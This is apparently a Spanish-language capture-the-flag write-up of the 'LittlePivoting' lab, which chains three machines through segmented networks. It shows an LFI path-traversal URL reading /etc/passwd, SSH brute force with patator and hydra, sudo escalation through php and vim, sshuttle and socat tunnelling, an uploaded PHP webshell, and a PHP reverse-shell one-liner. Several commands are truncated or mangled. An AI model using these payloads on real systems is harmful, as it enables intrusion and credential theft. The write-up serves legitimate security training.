LittlePivoting

Herramientas Utilizadas: nmap, whatweb, gobuster, curl, patator, sshuttle, socat, nc

Este writeup documenta el proceso de explotación de una máquina en un entorno segmentado, donde se requiere pivoting para escalar privilegios y obtener acceso total. Utilizamos técnicas como sshuttle para tunelizar tráfico, socat para redirigir conexiones y vulnerabilidades en sudo para la escalada de privilegios.

Desplegar: sudo ./auto_deploy.sh inclusion.tar trust.tar upload.tar

nmap -p- -vvv -sS --min-rate 5000 -Pn 10.10.10.2 -oG scan

nmap -p22,80 -sCV 10.10.10.2 -oN ports

Encontramos los puertos 22 y 80 abiertos, lo que sugiere la presencia de SSH y un servidor web. Luego, profundizamos con whatweb y gobuster

whatweb 10.10.10.2

gobuster dir -u http://10.10.10.2/ -w /usr/share/seclists/Discovery/Web Content/directory-list-2.3-big.tx

Ingresando a:

http://10.10.10.2/shop/10.10.10.2

Este fragmento indica que la aplicación está utilizando el valor del parámetro archivo en el código sin una validación o sanitización adecuada.

En PHP, $_GET['archivo'] se usa para obtener el valor de una variable pasada en la URL a través del método GET .

Si el código PHP usa algo como

include($_GET['archivo']); o file_get_contents($_GET['archivo'])

Entonces el valor de archivos. se insertará directamente en una operación de inclusión de archivos. Esto sugiere que podemos manipular este parámetro para forzar la carga de archivos arbitrarios, lo que lleva a una vulnerabilidad de Inclusión de Archivos Locales (LFI, Local File Inclusion).

Al realizar ffuf con gobuster hacia el directorio /shop, el resultado es la existencia del archivo index.ph

Si la aplicación permite rutas arbitrarias en archivo , podemos intentar escapar del directorio de trabajo y acceder a archivos del sistema usando secuencias de "path traversal" (../)

Sabemos que index.php está esperando un valor para el parámetro "archivo" , por lo que debemos estructurar la URL para enviarle una ruta específica.

Si la aplicación permite rutas arbitrarias en "archivo" podemos intentar escapar del directorio de trabajo y acceder a archivos del sistema usando secuencias de "path traversal"

Al dirigirnos a la url: 10.10.10.2/shop/index.php?archivo=../../../../../../../../../../etc/passwd

Se logró acceder y visualizar el contenido del archivo /etc/passwd confirmando la vulnerabilidad de Inclusión de Archivos Locales (LFI) en la aplicación. Donde pudimos ver el nombre de 2 usuarios, manchi y seller.

Recordando que el primer host objetivo tenia el puerto 22 abierto, asique fui por la vieja confiable, fuerza bruta, imagino que haz de conocer hydra, pero hoy traigo una alternativa.

Se llama Patator, no voy a hablar de ella, pero voy a dejarte la documentación para que la investigues, es una buena alternativa y funciona con muchos otros protocolos https://www.kali.org/tools/patator/

patator ssh_login host=20.20.20.3 user=mario password=FILE0 0=/usr/share/wordlists/rockyou.txt -x ignore:mesg='Authentication failed.'``

hydra: hydra -l manchi -P /usr/share/wordlists/rockyou.txt -s 22 -f 10.10.10.2 ss

Haciendo uso de las credenciales, accedemos via Ssh:

Lo primero que pensé fue en ver si manchi tenia permisos para ejecutar sudo y asi escalar privilegios, pero no fue así.

Queda por intentar acceder a la cuenta de seller.

Busque realizar fuerza bruta desde mi maquina pero con ninguna de las 2 tools logre tener exito.

Con un poco de ayuda de chatgpt desarrolle un script para realizar BF de forma local, desde manchi hacia el usuario seller

Para eso, transfiero el diccionario rockyou.txt y creo el script en la maquina victima.

Antes que nada, recordar darle permisos de ejecucion al scrip con: chmod +x nombredelarchivo.sh El archivo rockyou.txt se lo comparti mediante un server levantado con python.

Sintaxis: ./brute-force.sh -u seller -w rockyou.txt

Mediante sudo -l veo que con php podría obtener escalación de privilegios.

Mirando en GTFOBins

Logro así obtener la primer escalación de privilegios.

hostname -I reveló que la primera máquina víctima tenía asignada la IP 20.20.20.2 , además de 10.10.10.2 .

Para analizar la conectividad, realicé un ping a 20.20.20.3 , confirmando que la máquina comprometida tenía acceso a otra red interna.

Ahora, la cosa era, como acceder a esa red...

Después de confirmar que la máquina comprometida ( 10.10.10.2 ) tiene acceso a la subred 20.20.20.0/24 , podemos utilizar sshuttle para redirigir nuestro tráfico a través de esta máquina y así interactuar con la red interna como si estuviéramos directamente conectados a ella.

sshuttle -r manchi@10.10.10.2 20.20.20.0/24 -x 10.10.10.1

Una vez ejecutado este comando, podemos interactuar con la red 20.20.20.0/24 como si estuviéramos conectados directamente a ella.

Inicialmente, realicé un escaneo con Nmap para detectar puertos abiertos en el host 20.20.20.3

nmap -Pn -p- 20.20.20.3

Sin embargo, no obtuve ninguna respuesta de los 100 primeros puertos analizados, lo que podría indicar la presencia de un firewall o alguna configuración que bloquee los paquetes de escaneo.

Dado que Nmap no mostró puertos abiertos, intenté verificar manualmente si había servicios en ejecución mediante curl:

curl -I http://20.20.20.3

El resultado arrojó un código de estado HTTP 200 (OK), lo que confirma que hay un servidor web activo en el host 20.20.20.3 , probablemente en el puerto 80

El encabezado de la respuesta indica que el servidor es Apache/2.4.57 en Debian, lo que sugiere un posible vector de explotación en caso de vulnerabilidades conocidas

Después de identificar que el host 20.20.20.3 ejecuta un servidor web, procedí a realizar una enumeración de directorios y archivos utilizando Gobuster.

Inicialmente, ejecuté el siguiente comando para buscar directorios accesibles:

gobuster dir -u http://20.20.20.3 -w /usr/share/wordlists/dirbuster/directory list-2.3-medium.txt -t 50 -o gobuster.txt

/server-status (Status: 403) [Size: 275]

Dado que no encontré directorios significativos, intenté una nueva búsqueda incluyendo extensiones de archivos comunes ( php , txt y py )

gobuster dir -u http://20.20.20.3 -w /usr/share/wordlists/dirbuster/directory list-2.3-medium.txt -t 50 -o gobuster.txt -x php,txt,py

Accediendo a /secret.php se logra ver un cartel dirigido a un usuario llamado "mario"

Con el cual prosegui a intentar realizar fuerza bruta, una vez mas, si.

Logrando así obtener la contraseña de ese tal mario, merecido el ser hackeado.

Gracias al ataque de fuerza bruta realizado con Patator, obtuvimos credenciales válidas para el usuario mario en el sistema 20.20.20.3 .

Además, la tunelización con sshuttle nos permitió enrutar nuestro tráfico hacia la red 20.20.20.0/24 , dándonos acceso al servicio SSH expuesto en el puerto por defecto

En esta ocasion tenemos permisos de ejecucion con vim:

Del mismo modo que con php, verifique en GTFobins

Tras comprometer exitosamente la máquina 20.20.20.3 , logramos escalar privilegios hasta obtener acceso root, lo que nos permitió explorar su configuración de red y posibles conexiones con otras subredes

En esta ocasion, hostname -I, nos dice que la nueva victima, es la ip 30.30.30.2, lo que nos indicó la presencia de una nueva subred: 30.30.30.0/24.

Para comprobar si había algún servicio activo en la nueva red, intentamos un ping, nmap y luego un curl al posible objetivo 30.30.30.3 (desde el acceso ssh de la maquina 20.20.20.3)

curl -I http://30.30.30.3

El servidor respondió con un HTTP 200 OK, confirmando la presencia de un servicio web en el puerto 80

Redirigiendo el tráfico con sshuttle

Como nuestra máquina atacante no tenía acceso directo a la red sshuttle para tunelizar el tráfico a través de 20.20.20.3 :

sshuttle -r mario@20.20.20.3 30.30.30.0/24 --dns #(Desde maquina atacante)

-r mario@20.20.20.3 → Se conecta a 20.20.20.3 como el usuario mario. 30.30.30.0/24 → Red que queremos enrutar a través del túnel.

--dns → Permite que las consultas DNS también pasen por el túnel, útil en caso de nombres internos.

Una vez establecida la tunelización, pudimos interactuar con 30.30.30.3 directamente desde nuestra máquina atacante, permitiéndonos continuar con la exploración y explotación de esta nueva máquina objetivo

Ya podemos ver y confirmar la web que nos devolvio el codigo 200 ok, desde nuestra maquina atacante, la 10.10.10.1

Lo cual aproveche para subir una webshell que me permitiera ejecutar comandos en el servidor, navegar por los directorios y explorar posibles vectores de escalación de privilegios.

Con acceso a 30.30.30.3 mediante una webshell en PHP, necesitamos reenviar una reverse shell a 10.10.10.1 . Dado que las redes están segmentadas, configuramos túneles con socat

Desde nuestra máquina atacante ( 10.10.10.1 ), copiamos el binario de socat a 10.10.10.2 , donde tenemos acceso SSH con el usuario manchi

scp /socat manchi@10.10.10.2:/home/manchi/socat

20.20.20.3 - 30.30.30.2 Despues a la segunda maquina que usaremos de pivoting

Desde 10.10.10.2 , realizamos la transferencia a 20.20.20.3 , donde tenemos acceso con el usuario mario

php -r '$sock=fsockopen("30.30.30.2",4431); if($sock){ exec("/bin/sh -i <&3 &3 2>&3"); } else { echo "No connection"; }'

Esto permite que la reverse shell viaje hasta 10.10.10.1 .

Escalada de Privilegios

Verificamos permisos con sudo -l y encontramos que /usr/bin/env sin contraseña: www-data puede ejecuta